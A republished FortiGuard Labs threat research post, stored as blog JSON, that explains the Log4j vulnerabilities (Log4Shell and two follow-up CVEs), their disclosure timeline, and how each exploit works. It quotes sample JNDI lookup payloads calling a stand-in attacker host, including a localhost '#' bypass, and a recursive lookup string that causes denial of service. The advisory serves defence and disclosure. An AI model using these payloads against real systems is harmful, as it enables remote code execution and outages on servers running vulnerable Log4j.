{"id":17990,"date":"2022-02-02T10:18:40","date_gmt":"2022-02-02T18:18:40","guid":{"rendered":"https:\/\/www.palada.net\/index.php\/2022\/02\/02\/news-11723\/"},"modified":"2022-02-02T10:18:40","modified_gmt":"2022-02-02T18:18:40","slug":"news-11723","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2022\/02\/02\/news-11723\/","title":{"rendered":"Critical Apache Log4j Vulnerability Updates"},"content":{"rendered":"
\n
\n
<\/div>\n<\/p><\/div>\n
\n

FortiGuard Labs<\/a>\u00a0Threat\u00a0Research Report<\/h2>\n

Affected Platforms:<\/b> Any application and service that uses vulnerable version of Log4j2
Impacted Users:<\/b> Any organization that uses vulnerable version of Log4j
Impact: <\/b>Remote attackers gain control of the vulnerable systems
Severity Level:<\/b> Critical <\/p>\n

Thanks to Paolo Di Prodi and Arturo Erick Torres Cavazos, who helped contribute to this blog.
<\/i><\/p>\n

Log4j Vulnerabilities<\/h2>\n

Beginning December 9th<\/sup>, most of the internet-connected world was forced to reckon with a critical new vulnerability discovered in the Apache Log4j framework deployed in countless servers. Officially labeled CVE-2021-44228<\/a>, but colloquially known as \u201cLog4Shell\u201d, this vulnerability is both trivial to exploit and allows for full remote code execution on a target system. This has earned the vulnerability a CVSS<\/a> score of 10 \u2013 the maximum.<\/p>\n

On December 14th<\/sup>, the Apache Software Foundation revealed a second Log4j vulnerability (CVE-2021-45046<\/a>). It was initially identified as a Denial-of-Service (DoS) vulnerability with a CVSS score of 3.7 and moderate severity. Things went from bad to worse on December 16th<\/sup> due to the discovery of information leaks and the remote code execution nature of the vulnerability. This promoted Apache to update the advisory and upgrade the CVSS score for this vulnerability to 9.0.<\/p>\n

On December 18th<\/sup>, a third Log4J vulnerability was discovered (CVE-2021-45105<\/a> – Apache Log4j2 does not always protect against infinite recursion in lookup evaluation). This fix was released in response to a newly discovered vulnerability that makes Log4j susceptible to a Denial-of-Service attack (DoS).<\/p>\n

On December 19th<\/sup>, a "wormable" variant of the Mirai IoT malware incorporating exploit code for CVE-2021-44228 was discovered. Various chatter on OSINT channels has discussed whether this is a "worm."<\/p>\n

This blog describes what you need to know about the Apache Log4j vulnerabilities<\/a>, including details, campaigns associated with Log4j, and an alleged \u201cwormable\u201d Mirai malware variant.<\/p>\n

What is Log4j? Significance of Log4j Vulnerabilities<\/span><\/h2>\n

Log4j is an extensible, Java-based logging framework widely used by applications and services around the globe (CISA list<\/a> of related software). Often, a dependency on Log4j will be two to three layers deep (a dependency of a dependency). The ubiquitous nature of Log4j is part of what makes CVE-2021-44228 so dangerous. Millions of applications, such as iCloud, Steam, and Minecraft, use Log4j for logging. An attacker simply needs to get the app to log a special string to successfully exploit this vulnerability.<\/p>\n

The Log4j framework provides an interface with the JNDI (Java Naming and Directory Interface), which allows a connection to an external directory service such as LDAP (Lightweight Directory Access Protocol). This forms the basis of several exploitation attempts currently seen in the wild, whereby insecure JNDI lookups potentially allow an unauthenticated, remote attacker to execute arbitrary code.<\/p>\n

Interestingly, the initial exploit leveraging CVE-2021-44228 appears to have been created before the patch was released. According to Cloudflare<\/a>, the exploit was found as early as December 1st<\/sup>, nine days before the patch release. It is also worthy of a mention that Minecraft was the canary in the coalmine highlighting the problem, as it was one of the first servers<\/a> to be attacked.<\/p>\n

What Happ<\/span>ened?<\/h2>\n

On November 24th<\/sup>, Alibaba\u2019s Cloud Security Team reported a critical vulnerability in Log4j to The Apache Software Foundation. In response, Apache published a release candidate on December 6th to address this vulnerability, which Alibaba\u2019s Cloud Security team found insufficient. Before Apache made the necessary update, a tweet was posted on December 9th,<\/sup> insinuating that abusing JNDI Lookup in Log4j can lead to remote code execution. This post appears to have triggered a maelstrom in both security and hacker communities.<\/p>\n

The following day, Apache released Log4j 2.15.0 as an official fix. Around this time, attackers started to sniff for potential victims by scanning for vulnerable machines. On the same day, CISA released an advisory<\/a> urging users and admins to upgrade Log4j to 2.15.0 as soon as possible. The advisory was followed by an Apache Log4j Vulnerability Guidance<\/a> page detailing the issue.<\/p>\n

SANS then moved their Infocon alert<\/a> to yellow for the first time since the infamous WannaCry outbreak in 2017. Infocon alerts intend to reflect changes in malicious traffic and the possibility of disrupted connectivity and apply to the condition of the Internet infrastructure. Infocon has only previously been elevated to yellow status for severe incidents, such as Heartbleed and Shellshock (both in 2014), which signifies the severity of Log4Shell.<\/p>\n

The situation worsened on December 14th<\/sup>, when Apache released Log4j 2.16.0 due to an insufficient fix in the previous release. This second vulnerability, labeled CVE-2021-45046<\/a> (with a CVSS score of 3.7), causes a Denial of Service (DoS) condition when successfully exploited. Threat actors wasted no time leveraging Lo4Shell by deploying new malware and potentially unwanted programs (PUAs) to compromise vulnerable machines.<\/p>\n

On December 16th<\/sup>, Apache upgraded the CVSS score for CVE-2021-45046 from 3.7 to 9.0. Further investigation revealed that an information leak and remote code execution in some environments and local code execution in all environments could be achieved due to successful exploitation. The Severity was also changed from moderate to critical.<\/p>\n

Log4j version 2.17.0 was released on December 18th<\/sup> in response to another Log4j vulnerability. Labeled CVE-2021-45105, the newest security hole is a Denial-of-Service vulnerability with a CVSS score of 7.5 and is rated as High by Apache.<\/p>\n

How does the exploit work – CVE-2021-44228?<\/h2>\n
    \n
  1. Once a target has been selected, an attacker adds a JNDI query to a connection request to that target in a field that is likely to get logged via Log4j. For example: \u00a0\u201c${jndi:ldap:\/\/malicious-server.host\/aaa}<\/i>\u201d<\/li>\n
  2. A vulnerable version of Log4j then takes that request and attempts to contact \u201cmalicious-server.host\u201d with an LDAP query.<\/li>\n
  3. Should the connection be successful, the \u201cmalicious-server.host\u201d under the attacker’s control replies to the query by inserting a malicious Java class file location into the directory data.<\/li>\n
  4. The Java implementation on the target then downloads the malicious Java class file and executes it.<\/li>\n<\/ol>\n

    How does the remote code execution exploit work – CVE-2021-45046?<\/h2>\n
      \n
    1. Once a target has been selected, an attacker adds a JNDI query to a connection request to that target in a field that is likely to get logged via Log4j. Due to the fix for CVE-2021-44228 in Log3j 2.15.0, remote JNDI queries are no longer permitted by default.\u00a0 Therefore, this can be worked around using the following as an example:\u00a0 \u201c${jndi:ldap:\/\/127.0.0.1#malicious-server.host\/aaa}\u201d<\/li>\n
    2. Version 2.15.0 of Log4j will view the request as valid due to localhost being present before the \u201c#\u201d; however, the framework will still resolve the entire string and attempt to contact \u201cmalicious-server.host\u201d with an LDAP query.<\/li>\n
    3. Should the connection be successful, the \u201cmalicious-server.host\u201d under the attacker’s control replies to the query by inserting a malicious Java class file location into the directory data.<\/li>\n
    4. The Java implementation on the target will then download the malicious Java class file and execute it.<\/li>\n<\/ol>\n

      How does the Denial of Service (DoS) exploit work – CVE-2021-45105?<\/h2>\n

      This vulnerability is not considered part of Log4Shell. This will be more complex to execute because an attacker would need to have knowledge and control over lookup commands (e.g., via the Thread Context Map).\u00a0 The vulnerability is an infinite recursion so a successful exploit would result in a Denial-of-Service (DoS) attack.<\/p>\n

        \n
      1. To take advantage of this, the vulnerable (or malicious) application will need to use a Context Map Lookup with a custom pattern layout. <\/li>\n
      2. A log line can be crafted in such a way that when it is triggered, an infinite loop condition is triggered thereby creating a denial of service through the exhaustion of resources.<\/li>\n<\/ol>\n

        e.g. logger.info("Example log line {}", "${${::-${::-$${::-j}}}}"); <\/p>\n

        Have attacks leveraging CVE-2021-44228 and CVE-2021-45046 increased?<\/h2>\n

        FortiGuard Labs saw a steady increase in the detection of attacks using our IPS signature, which covers both CVE\u2019s – \u201cApache.Log4j.Error.Log.Remote.Code.Execution\u201d – up until December 15th<\/sup>.\u00a0<\/p>\n<\/p><\/div>\n